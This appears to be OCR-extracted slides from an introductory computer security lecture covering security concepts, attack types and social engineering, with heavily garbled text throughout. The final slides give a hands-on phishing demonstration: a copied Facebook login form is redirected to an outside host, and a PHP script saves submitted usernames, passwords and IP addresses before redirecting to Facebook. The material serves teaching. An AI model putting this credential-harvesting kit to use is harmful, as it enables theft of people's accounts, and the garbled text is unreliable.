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Module 10 7 Introduction to Security

What is security? Why do we need it anyways?
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Module 10 T Introduction to Security

Roadmap for today:
A\/Iodule 107 Introduction to Security

A\/Iodule 11- Encryption: Caesar to Public-Key to Quantum
A\/Iodule 12 - Code injection: XSS, SQL, buffer overflows

A\/Iodule 13 - Reverseengineering and trojan horses

| 6d encourage you to follow along with th
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Module 10 T Introduction to Security

What is computer security?

A‘Security IS preventing users from doing
unauthorised things

At IS also allowing authorised users to do what
t h e yaathoresed to do!

ASecurity IS a perpetual catand-mouse game
AAttackers try to access systems

ASecurity experts try to thwart this
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Module 10 T Introduction to Security

What 1 s fAhackingo?

A—Iacking IS, In general, using things for

somet hing other than me ant

for
AComput er hacking 1 snojy
Aﬂifehacksc‘)
ARoof & Tunnel Hacking
AEIectronics hacking
Atf)s a di ffrcult thing t
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Module 10 T Introduction to Security

Vulnerabillities are everywhere

AThe nature of computer programmesi s t hat t he har dware doe
authorised

ANeﬁve | earned a | ot of technologi es! Et h
assembly code, shell scripting, python,

:&Every one is a potential means of exploit!

AA good security auditor needs to understand a bit about each to be effective
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Module 10 T Introduction to Security

Let 6s go back to our original definition:

ASecurity IS preventing users from doing unauthorised things, while also allowing authorised users to do what
t h e yadthoresed to do.

AThere are some important general concepts in this
AAuthentication : who is who? Can we prove it?

A E.g. Windows passwords

AAccess control : who can use the system? How do we keep others out?

A E.g. Windows accounts

AAuthorisation - who can do what? How do we enforce it?

A E.g. Administrator/power user accounts

AUse Auditing : how do we stop a legitimate user from abusing his power?

A E.g. Disc/bandwidth quotas
Alntegrity . how can we be sure trusted data hasndot been a

A E.g. checksums!

AAvaiIabiIity . how can be ensure the system is available when needed?
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Module 10 T Introduction to Security

How do attackers try to break a system?

/86 Br e a ki nagcedssinga system th uthentication

attacker doesnot have t o

AAccess control
t o

/&Elevation of privileges  : doing something
t hat user shoul dnot

b e

:&Denial -of -service : bringing down a system AAuthorisation
AAbuse . using a system for something it — \
shoul dndét be used for */&UseAuditing
:ﬁn Cr a c k:imakg@ a system do something
wasnot supposed t Antegrity
A‘Spooflng: clairmng to b/e someone heyoOor e
vailability
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Module 10 T Introduction to Security

We have a lot to worry about here!

Hello. I am Malidous Melvin

AAuthentication

AAccess control

AAuthorisation
AJse Auditing 3 1 IIII
Anteqr ) 1l it L=
tegrity [ [ - — 3
Aavailability -Q_l
We 0 | | use today to | earn how to do
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Module 10 T Introduction to Security

Hardware 7 software1 adwarei malware 1 cookwarei wetware?

ANetware IS the human mind!
ANetware attacks are the biggest threatto high-security productions

AGetting someone fion the I nsideoO to give

AAsking nicely for a password!

APretending to be someone youore not ( Mi

ANetware attacks can be online tooé

APhishing!
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Module 10 T Introduction to Security

Phishing duplicates a websitei but steals your information instead

A_etﬁs try i1t/
:860 to nNfacebec
ARight-click and

Avi ew page s ok

opy that text and save it
as an html file on your
desktop

earch f or n f

\[ he first hit is the form that
logs you In!
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lews Feed.

or

Email or Phone

Back

Forward

Reload '

Save as... p .

Print... always will be.

Translate to English

Last Name

View page info

Inspect element

<i class="fb logo img sp_ SvUokIDmpFE =sx_15c231l"»<urFacebook logo</ux</ix</a><div
clagzz="menu login container rfloat ohf">pedaealhlsbBalsphihdadaly
action="https://www.facebook.com/login.php?login attempt=1" method="post"
onsubmit="return window.Event &amp;é&amp; Event. inlineSubmit &amp;&amp;
>.__inlineSubmit (this, event) "><input type="hidden"™ name="lsd"
alue="AVpNNaBr"™ autocomplete="off"™ /><table cellspacing="0"><tr><td
class="htmlTmagic®><label for="email®>Email or Phone</label></td><td
class="htmlTmagic"><label for="pass":>Password</label></td></tr><trr><td><input
type="text™ class="inputtext” name="email® id="email” wvalue="" tabindex="1" />
ftdx><td><input type="password” cla "inputtext™ name="pass" id="pass"
tabindex="2" /></tds<td><label class="uiButton uiButtonConfirm™ id="loginbutton™
for="u 0 n"><input value="Log In" tabindex="4" type="submit" id="u 0 n" >
/label></td></tr><tr><td class="login form label field"><div><div
class="uilnputLabel clearfix uilnputlLabellegacy"><input id="persist box"
cype="checkbox"™ name="persistent”™ wvalue="1" tabindex="3"
class="uilnputLabelInput uilnputLabelCheckbox™ /><label for="persist_ box"
class="uilnputLabelLabel">Keep me logged in</label></div><input type="hidden™
name="default persistent" wvalue="0" /></div></td><td
class="login form label field"><a rel="nofollow"
href="https://www.facebook.com/recover/initiate">Forgot your password?«</a></td>
ftry</table><input type="hidden" autocomplete="off" name="timezone"™ wvalue=""
id="u 0 o" [/><input type="hidden™ name="lgnrnd” value="222611 fcFH" f><input
type="hidden™ id="lgnj=" name="lgnjs" value="n" /><input type="hidden"
autocomplete="off" id="locale™ name="laocale™ wvalue="en U5" /></fo < Sdiveg/dive
</divr</divrc/dive</divr</divy<div id="globalContainer™
class="uiContextuallayerParent"><div id="content" class="fb content clearfix">
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Module 10 T Introduction to Security

We O | | change this tag I n two ways:
AChange the action attribute:

/&From https://www.facebook.com/login.php?login_attempt=1
ATO http://billy.scienceontheweb.net/gen/fbspoof.php
AAdd an input item:
A<input type='nidden' name="' pname' value="Your Name' />
AThis changes where to send the submitted form,

At also tells the server which one of you entered it!
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Module 10 T Introduction to Security

fospoof.php handles this request:

<?php
file_put_contents (" phish.txt","Name \".$ REQUEST[ pnamel]." \"
; Username: \".$ REQUEST['email']." \ "
Password: \".$ REQUEST['pass']." \ "
IP:".$ SERVER['REMOTE_ADDRY."
(". gethostbyaddr ($ SERVER['REMOTE_ADDR')."); Browser:
"$ SERVER[HTTP _USER AGENTY.";
".(($_SERVER['HTTP_REFERER'|=="")?"":("After visiting:
"$ SERVER[HTTP_REFERERY))." \ n",FILE_APPEND );
header("HTTP/1.1 302 Found");
header("Location:

https://www.facebook.com/login.php?login_attempt=1");
?>




